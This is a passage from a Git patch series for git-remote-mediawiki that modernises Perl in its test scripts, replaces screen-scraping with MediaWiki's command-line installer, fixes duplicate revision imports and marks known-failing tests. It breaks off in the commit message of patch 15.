diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index 0ff76259fa..afc4650b1a 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -214,12 +214,12 @@ sub wiki_upload_file {
 
 wiki_login($wiki_admin, $wiki_admin_pass);
 
-my %functions_to_call = qw(
-	upload_file    wiki_upload_file
-	get_page       wiki_getpage
-	delete_page    wiki_delete_page
-	edit_page      wiki_editpage
-	getallpagename wiki_getallpagename
+my %functions_to_call = (
+	upload_file    => \&wiki_upload_file,
+	get_page       => \&wiki_getpage,
+	delete_page    => \&wiki_delete_page,
+	edit_page      => \&wiki_editpage,
+	getallpagename => \&wiki_getallpagename,
 );
 die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call};
-&{$functions_to_call{$fct_to_call}}(@ARGV);
+$functions_to_call{$fct_to_call}->(@ARGV);
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 10/18] remote-mediawiki tests: replace deprecated Perl construct

[Ævar Arnfjörð Bjarmason]

The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).

What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.

This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index afc4650b1a..71e5b06235 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -24,7 +24,6 @@
 
 use MediaWiki::API;
 use Getopt::Long;
-use encoding 'utf8';
 use DateTime::Format::ISO8601;
 use open ':encoding(utf8)';
 use constant SLASH_REPLACEMENT => "%2F";
@@ -222,4 +221,4 @@ sub wiki_upload_file {
 	getallpagename => \&wiki_getallpagename,
 );
 die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call};
-$functions_to_call{$fct_to_call}->(@ARGV);
+$functions_to_call{$fct_to_call}->(map { utf8::decode($_); $_ } @ARGV);
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 11/18] remote-mediawiki tests: use inline PerlIO for readability

[Ævar Arnfjörð Bjarmason]

Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).

Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/test-gitmw.pl | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl
index 71e5b06235..c5d687f078 100755
--- a/contrib/mw-to-git/t/test-gitmw.pl
+++ b/contrib/mw-to-git/t/test-gitmw.pl
@@ -25,7 +25,6 @@
 use MediaWiki::API;
 use Getopt::Long;
 use DateTime::Format::ISO8601;
-use open ':encoding(utf8)';
 use constant SLASH_REPLACEMENT => "%2F";
 
 #Parsing of the config file
@@ -86,7 +85,7 @@ sub wiki_getpage {
 	# Replace spaces by underscore in the page name
 	$pagename =~ s/ /_/g;
 	$pagename =~ s/\//%2F/g;
-	open(my $file, ">$destdir/$pagename.mw");
+	open(my $file, ">:encoding(UTF-8)", "$destdir/$pagename.mw");
 	print $file "$content";
 	close ($file);
 
@@ -171,7 +170,7 @@ sub wiki_getallpagename {
 				cmlimit => 500 },
 		)
 		|| die $mw->{error}->{code}.": ".$mw->{error}->{details};
-		open(my $file, ">all.txt");
+		open(my $file, ">:encoding(UTF-8)", "all.txt");
 		foreach my $page (@{$mw_pages}) {
 			print $file "$page->{title}\n";
 		}
@@ -184,7 +183,7 @@ sub wiki_getallpagename {
 				aplimit => 500,
 			})
 		|| die $mw->{error}->{code}.": ".$mw->{error}->{details};
-		open(my $file, ">all.txt");
+		open(my $file, ">:encoding(UTF-8)", "all.txt");
 		foreach my $page (@{$mw_pages}) {
 			print $file "$page->{title}\n";
 		}
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 12/18] remote-mediawiki tests: use CLI installer

[Ævar Arnfjörð Bjarmason]

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.

The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.

As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.

This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.

While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)

  * Use MediaWiki's own defaults where possible, e.g. before we'd name
    the database "wikidb.sqlite", now we'll simply use whatever name
    MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
    directory name the SQLite file will be dropped into, not the full
    path.

  * Put all of our database & download assets into a new "mediawiki/"
    folder. This makes it easier to reason about as the current &
    template "backup" database the tests keep swapping around live
    next to each other.

    This'll also prevent future potential breakage as there isn't a
    single SQLite database. MediaWiki also creates a job queue
    database and a couple of cache databases. In practice it seems we
    got away with not resetting these when we reset the main database,
    but it's the sort of thing that could break in the future (reset,
    main store doesn't have the article, but the cache does).

  * The "delete" function now only deletes the MediaWiki installation
    & database, not the downloaded .tar.gz file. This makes us
    friendlier to a developer on a slow connection.

1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and
   clear a MediaWiki", 2012-07-06)

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/.gitignore                |   2 +-
 contrib/mw-to-git/t/install-wiki/.gitignore   |   1 -
 .../t/install-wiki/LocalSettings.php          | 129 ----------------
 .../mw-to-git/t/install-wiki/db_install.php   | 120 ---------------
 contrib/mw-to-git/t/test-gitmw-lib.sh         | 143 +++++++++---------
 contrib/mw-to-git/t/test.config               |  18 +--
 6 files changed, 79 insertions(+), 334 deletions(-)
 delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore
 delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php
 delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php

diff --git a/contrib/mw-to-git/t/.gitignore b/contrib/mw-to-git/t/.gitignore
index a7a40b4964..2b8dc30c6d 100644
--- a/contrib/mw-to-git/t/.gitignore
+++ b/contrib/mw-to-git/t/.gitignore
@@ -1,4 +1,4 @@
 WEB/
-wiki/
+mediawiki/
 trash directory.t*/
 test-results/
diff --git a/contrib/mw-to-git/t/install-wiki/.gitignore b/contrib/mw-to-git/t/install-wiki/.gitignore
deleted file mode 100644
index b5a2a4408c..0000000000
--- a/contrib/mw-to-git/t/install-wiki/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-wikidb.sqlite
diff --git a/contrib/mw-to-git/t/install-wiki/LocalSettings.php b/contrib/mw-to-git/t/install-wiki/LocalSettings.php
deleted file mode 100644
index 745e47e881..0000000000
--- a/contrib/mw-to-git/t/install-wiki/LocalSettings.php
+++ /dev/null
@@ -1,129 +0,0 @@
-<?php
-# This file was automatically generated by the MediaWiki 1.19.0
-# installer. If you make manual changes, please keep track in case you
-# need to recreate them later.
-#
-# See includes/DefaultSettings.php for all configurable settings
-# and their default values, but don't forget to make changes in _this_
-# file, not there.
-#
-# Further documentation for configuration settings may be found at:
-# http://www.mediawiki.org/wiki/Manual:Configuration_settings
-
-# Protect against web entry
-if ( !defined( 'MEDIAWIKI' ) ) {
-	exit;
-}
-
-## Uncomment this to disable output compression
-# $wgDisableOutputCompression = true;
-
-$wgSitename      = "Git-MediaWiki-Test";
-$wgMetaNamespace = "Git-MediaWiki-Test";
-
-## The URL base path to the directory containing the wiki;
-## defaults for all runtime URL paths are based off of this.
-## For more information on customizing the URLs please see:
-## http://www.mediawiki.org/wiki/Manual:Short_URL
-$wgScriptPath       = "@WG_SCRIPT_PATH@";
-$wgScriptExtension  = ".php";
-
-## The protocol and server name to use in fully-qualified URLs
-$wgServer           = "@WG_SERVER@";
-
-## The relative URL path to the skins directory
-$wgStylePath        = "$wgScriptPath/skins";
-
-## The relative URL path to the logo.  Make sure you change this from the default,
-## or else you'll overwrite your logo when you upgrade!
-$wgLogo             = "$wgStylePath/common/images/wiki.png";
-
-## UPO means: this is also a user preference option
-
-$wgEnableEmail      = true;
-$wgEnableUserEmail  = true; # UPO
-
-$wgEmergencyContact = "apache@localhost";
-$wgPasswordSender   = "apache@localhost";
-
-$wgEnotifUserTalk      = false; # UPO
-$wgEnotifWatchlist     = false; # UPO
-$wgEmailAuthentication = true;
-
-## Database settings
-$wgDBtype           = "sqlite";
-$wgDBserver         = "";
-$wgDBname           = "@WG_SQLITE_DATAFILE@";
-$wgDBuser           = "";
-$wgDBpassword       = "";
-
-# SQLite-specific settings
-$wgSQLiteDataDir    = "@WG_SQLITE_DATADIR@";
-
-
-## Shared memory settings
-$wgMainCacheType    = CACHE_NONE;
-$wgMemCachedServers = array();
-
-## To enable image uploads, make sure the 'images' directory
-## is writable, then set this to true:
-$wgEnableUploads  = true;
-$wgUseImageMagick = true;
-$wgImageMagickConvertCommand ="@CONVERT@";
-$wgFileExtensions[] = 'txt';
-
-# InstantCommons allows wiki to use images from http://commons.wikimedia.org
-$wgUseInstantCommons  = false;
-
-## If you use ImageMagick (or any other shell command) on a
-## Linux server, this will need to be set to the name of an
-## available UTF-8 locale
-$wgShellLocale = "en_US.utf8";
-
-## If you want to use image uploads under safe mode,
-## create the directories images/archive, images/thumb and
-## images/temp, and make them all writable. Then uncomment
-## this, if it's not already uncommented:
-#$wgHashedUploadDirectory = false;
-
-## Set $wgCacheDirectory to a writable directory on the web server
-## to make your wiki go slightly faster. The directory should not
-## be publicly accessible from the web.
-#$wgCacheDirectory = "$IP/cache";
-
-# Site language code, should be one of the list in ./languages/Names.php
-$wgLanguageCode = "en";
-
-$wgSecretKey = "1c912bfe3519fb70f5dc523ecc698111cd43d81a11c585b3eefb28f29c2699b7";
-#$wgSecretKey = "@SECRETKEY@";
-
-
-# Site upgrade key. Must be set to a string (default provided) to turn on the
-# web installer while LocalSettings.php is in place
-$wgUpgradeKey = "ddae7dc87cd0a645";
-
-## Default skin: you can change the default skin. Use the internal symbolic
-## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook', 'vector':
-$wgDefaultSkin = "vector";
-
-## For attaching licensing metadata to pages, and displaying an
-## appropriate copyright notice / icon. GNU Free Documentation
-## License and Creative Commons licenses are supported so far.
-$wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright
-$wgRightsUrl  = "";
-$wgRightsText = "";
-$wgRightsIcon = "";
-
-# Path to the GNU diff3 utility. Used for conflict resolution.
-$wgDiff3 = "/usr/bin/diff3";
-
-# Query string length limit for ResourceLoader. You should only set this if
-# your web server has a query string length limit (then set it to that limit),
-# or if you have suhosin.get.max_value_length set in php.ini (then set it to
-# that value)
-$wgResourceLoaderMaxQueryLength = -1;
-
-
-
-# End of automatically generated settings.
-# Add more configuration options below.
diff --git a/contrib/mw-to-git/t/install-wiki/db_install.php b/contrib/mw-to-git/t/install-wiki/db_install.php
deleted file mode 100644
index b033849800..0000000000
--- a/contrib/mw-to-git/t/install-wiki/db_install.php
+++ /dev/null
@@ -1,120 +0,0 @@
-<?php
-/**
- * This script generates a SQLite database for a MediaWiki version 1.19.0
- * You must specify the login of the admin (argument 1) and its
- * password (argument 2) and the folder where the database file
- * is located (absolute path in argument 3).
- * It is used by the script install-wiki.sh in order to make easy the
- * installation of a MediaWiki.
- *
- * In order to generate a SQLite database file, MediaWiki ask the user
- * to submit some forms in its web browser. This script simulates this
- * behavior though the functions <get> and <submit>
- *
- */
-$argc = $_SERVER['argc'];
-$argv = $_SERVER['argv'];
-
-$login = $argv[2];
-$pass = $argv[3];
-$tmp = $argv[4];
-$port = $argv[5];
-
-$url = 'http://localhost:'.$port.'/wiki/mw-config/index.php';
-$db_dir = urlencode($tmp);
-$tmp_cookie = tempnam($tmp, "COOKIE_");
-/*
- * Fetches a page with cURL.
- */
-function get($page_name = "") {
-	$curl = curl_init();
-	$page_name_add = "";
-	if ($page_name != "") {
-		$page_name_add = '?page='.$page_name;
-	}
-	$url = $GLOBALS['url'].$page_name_add;
-	$tmp_cookie = $GLOBALS['tmp_cookie'];
-	curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
-	curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_HEADER, true);
-	curl_setopt($curl, CURLOPT_URL, $url);
-
-	$page = curl_exec($curl);
-	if (!$page) {
-		die("Could not get page: $url\n");
-	}
-	curl_close($curl);
-	return $page;
-}
-
-/*
- * Submits a form with cURL.
- */
-function submit($page_name, $option = "") {
-	$curl = curl_init();
-	$datapost = 'submit-continue=Continue+%E2%86%92';
-	if ($option != "") {
-		$datapost = $option.'&'.$datapost;
-	}
-	$url = $GLOBALS['url'].'?page='.$page_name;
-	$tmp_cookie = $GLOBALS['tmp_cookie'];
-	curl_setopt($curl, CURLOPT_URL, $url);
-	curl_setopt($curl, CURLOPT_POST, true);
-	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
-	curl_setopt($curl, CURLOPT_POSTFIELDS, $datapost);
-	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-	curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);
-	curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);
-
-	$page = curl_exec($curl);
-	if (!$page) {
-		die("Could not get page: $url\n");
-	}
-	curl_close($curl);
-	return "$page";
-}
-
-/*
- * Here starts this script: simulates the behavior of the user
- * submitting forms to generates the database file.
- * Note this simulation was made for the MediaWiki version 1.19.0,
- * we can't assume it works with other versions.
- *
- */
-
-$page = get();
-if (!preg_match('/input type="hidden" value="([0-9]+)" name="LanguageRequestTime"/',
-		$page, $matches)) {
-	echo "Unexpected content for page downloaded:\n";
-	echo "$page";
-	die;
-};
-$timestamp = $matches[1];
-$language = "LanguageRequestTime=$timestamp&uselang=en&ContLang=en";
-$page = submit('Language', $language);
-
-submit('Welcome');
-
-$db_config = 'DBType=sqlite';
-$db_config = $db_config.'&sqlite_wgSQLiteDataDir='.$db_dir;
-$db_config = $db_config.'&sqlite_wgDBname='.$argv[1];
-submit('DBConnect', $db_config);
-
-$wiki_config = 'config_wgSitename=TEST';
-$wiki_config = $wiki_config.'&config__NamespaceType=site-name';
-$wiki_config = $wiki_config.'&config_wgMetaNamespace=MyWiki';
-$wiki_config = $wiki_config.'&config__AdminName='.$login;
-
-$wiki_config = $wiki_config.'&config__AdminPassword='.$pass;
-$wiki_config = $wiki_config.'&config__AdminPassword2='.$pass;
-
-$wiki_config = $wiki_config.'&wiki__configEmail=email%40email.org';
-$wiki_config = $wiki_config.'&config__SkipOptional=skip';
-submit('Name', $wiki_config);
-submit('Install');
-submit('Install');
-
-unlink($tmp_cookie);
-?>
diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh
index eb45a5a641..64e46c1671 100755
--- a/contrib/mw-to-git/t/test-gitmw-lib.sh
+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh
@@ -13,7 +13,8 @@
 
 . ./test.config
 
-WIKI_URL=http://"$SERVER_ADDR:$PORT/$WIKI_DIR_NAME"
+WIKI_BASE_URL=http://$SERVER_ADDR:$PORT
+WIKI_URL=$WIKI_BASE_URL/$WIKI_DIR_NAME
 CURR_DIR=$(pwd)
 TEST_OUTPUT_DIRECTORY=$(pwd)
 TEST_DIRECTORY="$CURR_DIR"/../../../t
@@ -291,28 +292,59 @@ stop_lighttpd () {
 	test -f "$WEB_TMP/pid" && kill $(cat "$WEB_TMP/pid")
 }
 
-# Create the SQLite database of the MediaWiki. If the database file already
-# exists, it will be deleted.
-# This script should be runned from the directory where $FILES_FOLDER is
-# located.
-create_db () {
-	rm -f "$TMP/$DB_FILE"
+wiki_delete_db () {
+	rm -rf \
+	   "$FILES_FOLDER_DB"/* || error "Couldn't delete $FILES_FOLDER_DB/"
+}
+
+wiki_delete_db_backup () {
+	rm -rf \
+	   "$FILES_FOLDER_POST_INSTALL_DB"/* || error "Couldn't delete $FILES_FOLDER_POST_INSTALL_DB/"
+}
 
-	echo "Generating the SQLite database file. It can take some time ..."
-	# Run the php script to generate the SQLite database file
-	# with cURL calls.
-	php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \
-		"$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT"
+# Install MediaWiki using its install.php script. If the database file
+# already exists, it will be deleted.
+install_mediawiki () {
 
-	if ! test -f "$TMP/$DB_FILE"
+	localsettings="$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php"
+	if test -f "$localsettings"
 	then
-		error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first."
+		error "We already installed the wiki, since $localsettings exists" \
+		      "perhaps you wanted to run 'delete' first?"
 	fi
 
-	# Copy the generated database file into the directory the
-	# user indicated.
-	cp "$TMP/$DB_FILE" "$FILES_FOLDER" ||
-		error "Unable to copy $TMP/$DB_FILE to $FILES_FOLDER"
+	wiki_delete_db
+	wiki_delete_db_backup
+	mkdir \
+		"$FILES_FOLDER_DB/" \
+		"$FILES_FOLDER_POST_INSTALL_DB/"
+
+	install_script="$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php"
+	echo "Installing MediaWiki using $install_script. This may take some time ..."
+
+	php "$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php" \
+	    --server $WIKI_BASE_URL \
+	    --scriptpath /wiki \
+	    --lang en \
+	    --dbtype sqlite \
+	    --dbpath $PWD/$FILES_FOLDER_DB/ \
+	    --pass "$WIKI_PASSW" \
+	    Git-MediaWiki-Test \
+	    "$WIKI_ADMIN" ||
+		error "Couldn't run $install_script, see errors above. Try to run ./install-wiki.sh delete first."
+	cat <<-'EOF' >>$localsettings
+# Custom settings added by test-gitmw-lib.sh
+#
+# Uploading text files is needed for
+# t9363-mw-to-git-export-import.sh
+$wgEnableUploads = true;
+$wgFileExtensions[] = 'txt';
+EOF
+
+	# Copy the initially generated database file into our backup
+	# folder
+	cp -R "$FILES_FOLDER_DB/"* "$FILES_FOLDER_POST_INSTALL_DB/" ||
+		error "Unable to copy $FILES_FOLDER_DB/* to $FILES_FOLDER_POST_INSTALL_DB/*"
 }
 
 # Install a wiki in your web server directory.
@@ -321,7 +353,6 @@ wiki_install () {
 		start_lighttpd
 	fi
 
-	SERVER_ADDR=$SERVER_ADDR:$PORT
 	# In this part, we change directory to $TMP in order to download,
 	# unpack and copy the files of MediaWiki
 	(
@@ -332,9 +363,11 @@ wiki_install () {
 		Please create it and launch the script again."
 	fi
 
-	# Fetch MediaWiki's archive if not already present in the TMP directory
+	# Fetch MediaWiki's archive if not already present in the
+	# download directory
+	mkdir -p "$FILES_FOLDER_DOWNLOAD"
 	MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
-	cd "$TMP"
+	cd "$FILES_FOLDER_DOWNLOAD"
 	if ! test -f $MW_FILENAME
 	then
 		echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..."
@@ -355,49 +388,12 @@ wiki_install () {
 		error "Unable to extract WikiMedia's files from $archive_abs_path to "\
 			"$WIKI_DIR_INST/$WIKI_DIR_NAME"
 	) || exit 1
+	echo Extracted in "$WIKI_DIR_INST/$WIKI_DIR_NAME"
 
-	create_db
-
-	# Copy the generic LocalSettings.php in the web server's directory
-	# And modify parameters according to the ones set at the top
-	# of this script.
-	# Note that LocalSettings.php is never modified.
-	if ! test -f "$FILES_FOLDER/LocalSettings.php"
-	then
-		error "Can't find $FILES_FOLDER/LocalSettings.php " \
-			"in the current folder. "\
-		"Please run the script inside its folder."
-	fi
-	cp "$FILES_FOLDER/LocalSettings.php" \
-		"$FILES_FOLDER/LocalSettings-tmp.php" ||
-		error "Unable to copy $FILES_FOLDER/LocalSettings.php " \
-		"to $FILES_FOLDER/LocalSettings-tmp.php"
-
-	# Parse and set the LocalSettings file of the user according to the
-	# CONFIGURATION VARIABLES section at the beginning of this script
-	file_swap="$FILES_FOLDER/LocalSettings-swap.php"
-	sed "s,@WG_SCRIPT_PATH@,/$WIKI_DIR_NAME," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SERVER@,http://$SERVER_ADDR," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SQLITE_DATADIR@,$TMP," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-	sed "s,@WG_SQLITE_DATAFILE@,$( basename $DB_FILE .sqlite)," \
-		"$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap"
-	mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php"
-
-	mv "$FILES_FOLDER/LocalSettings-tmp.php" \
-		"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php" ||
-		error "Unable to move $FILES_FOLDER/LocalSettings-tmp.php" \
-		"in $WIKI_DIR_INST/$WIKI_DIR_NAME"
-	echo "File $FILES_FOLDER/LocalSettings.php is set in" \
-		" $WIKI_DIR_INST/$WIKI_DIR_NAME"
+	install_mediawiki
 
 	echo "Your wiki has been installed. You can check it at
-		http://$SERVER_ADDR/$WIKI_DIR_NAME"
+		$WIKI_URL"
 }
 
 # Reset the database of the wiki and the password of the admin
@@ -405,13 +401,18 @@ wiki_install () {
 # Warning: This function must be called only in a subdirectory of t/ directory
 wiki_reset () {
 	# Copy initial database of the wiki
-	if ! test -f "../$FILES_FOLDER/$DB_FILE"
+	if ! test -d "../$FILES_FOLDER_DB"
 	then
-		error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder."
+		error "No wiki database at ../$FILES_FOLDER_DB, not installed yet?"
 	fi
-	cp "../$FILES_FOLDER/$DB_FILE" "$TMP" ||
-		error "Can't copy ../$FILES_FOLDER/$DB_FILE in $TMP"
-	echo "File $FILES_FOLDER/$DB_FILE is set in $TMP"
+	if ! test -d "../$FILES_FOLDER_POST_INSTALL_DB"
+	then
+		error "No wiki backup database at ../$FILES_FOLDER_POST_INSTALL_DB, failed installation?"
+	fi
+	wiki_delete_db
+	cp -R "../$FILES_FOLDER_POST_INSTALL_DB/"* "../$FILES_FOLDER_DB/" ||
+		error "Can't copy ../$FILES_FOLDER_POST_INSTALL_DB/* to ../$FILES_FOLDER_DB/*"
+	echo "File $FILES_FOLDER_DB/* has been reset"
 }
 
 # Delete the wiki created in the web server's directory and all its content
@@ -425,13 +426,7 @@ wiki_delete () {
 		rm -rf "$WIKI_DIR_INST/$WIKI_DIR_NAME" ||
 			error "Wiki's directory $WIKI_DIR_INST/" \
 			"$WIKI_DIR_NAME could not be deleted"
-		# Delete the wiki's SQLite database.
-		rm -f "$TMP/$DB_FILE" ||
-			error "Database $TMP/$DB_FILE could not be deleted."
 	fi
-
-	# Delete the wiki's SQLite database
-	rm -f "$TMP/$DB_FILE" || error "Database $TMP/$DB_FILE could not be deleted."
-	rm -f "$FILES_FOLDER/$DB_FILE"
-	rm -rf "$TMP/mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz"
+	wiki_delete_db
+	wiki_delete_db_backup
 }
diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config
index 3ab56c7165..ed10b3e4a4 100644
--- a/contrib/mw-to-git/t/test.config
+++ b/contrib/mw-to-git/t/test.config
@@ -8,10 +8,6 @@ WIKI_PASSW=AdminPass1
 # Address of the web server
 SERVER_ADDR=localhost
 
-# SQLite database of the wiki, named DB_FILE, is located in TMP
-TMP=/tmp
-DB_FILE=wikidb.sqlite
-
 # If LIGHTTPD is not set to true, the script will use the default
 # web server running in WIKI_DIR_INST.
 WIKI_DIR_INST=/var/www
@@ -28,13 +24,17 @@ WEB=WEB
 WEB_TMP=$WEB/tmp
 WEB_WWW=$WEB/www
 
+# Where our configuration for the wiki is located
+FILES_FOLDER=mediawiki
+FILES_FOLDER_DOWNLOAD=$FILES_FOLDER/download
+FILES_FOLDER_DB=$FILES_FOLDER/db
+FILES_FOLDER_POST_INSTALL_DB=$FILES_FOLDER/post-install-db
+
 # The variables below are used by the script to install a wiki.
 # You should not modify these unless you are modifying the script itself.
-# tested versions: 1.19.X -> 1.21.1
+# tested versions: 1.19.X -> 1.21.1 -> 1.34.2
 #
 # See https://www.mediawiki.org/wiki/Download for what the latest
 # version is.
-MW_VERSION_MAJOR=1.21
-MW_VERSION_MINOR=1
-FILES_FOLDER=install-wiki
-DB_INSTALL_SCRIPT=db_install.php
+MW_VERSION_MAJOR=1.34
+MW_VERSION_MINOR=2
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 13/18] remote-mediawiki: fix duplicate revisions being imported

[Ævar Arnfjörð Bjarmason]

From: Simon Legner <Simon.Legner@gmail.com>

Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.

1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index 08190e23e1..26d5e1a174 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -807,7 +807,10 @@ sub get_more_refs {
 sub mw_import {
 	# multiple import commands can follow each other.
 	my @refs = (shift, get_more_refs('import'));
+	my $processedRefs;
 	foreach my $ref (@refs) {
+		next if $processedRefs->{$ref}; # skip duplicates: "import refs/heads/master" being issued twice; TODO: why?
+		$processedRefs->{$ref} = 1;
 		mw_import_ref($ref);
 	}
 	print {*STDOUT} "done\n";
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 14/18] remote-mediawiki tests: annotate failing tests

[Ævar Arnfjörð Bjarmason]

These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.

We need to add an extra test_path_is_file() here because since
d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().

1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
index 43580af3cf..6187ec67fa 100755
--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh
@@ -32,7 +32,7 @@ test_expect_success 'setup config' '
 	test_might_fail git config --global --unset remote.origin.mediaImport
 '
 
-test_expect_success 'git push can upload media (File:) files' '
+test_expect_failure 'git push can upload media (File:) files' '
 	wiki_reset &&
 	git clone mediawiki::'"$WIKI_URL"' mw_dir &&
 	(
@@ -48,13 +48,14 @@ test_expect_success 'git push can upload media (File:) files' '
 	)
 '
 
-test_expect_success 'git clone works on previously created wiki with media files' '
+test_expect_failure 'git clone works on previously created wiki with media files' '
 	test_when_finished "rm -rf mw_dir mw_dir_clone" &&
 	git clone -c remote.origin.mediaimport=true \
 		mediawiki::'"$WIKI_URL"' mw_dir_clone &&
 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&
 	(cd mw_dir_clone && git checkout HEAD^) &&
 	(cd mw_dir && git checkout HEAD^) &&
+	test_path_is_file mw_dir_clone/Foo.txt &&
 	test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt
 '
 
-- 
2.28.0.297.g1956fa8f8d

[PATCH v2 15/18] remote-mediawiki: provide a list form of run_git()

[Ævar Arnfjörð Bjarmason]

Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.

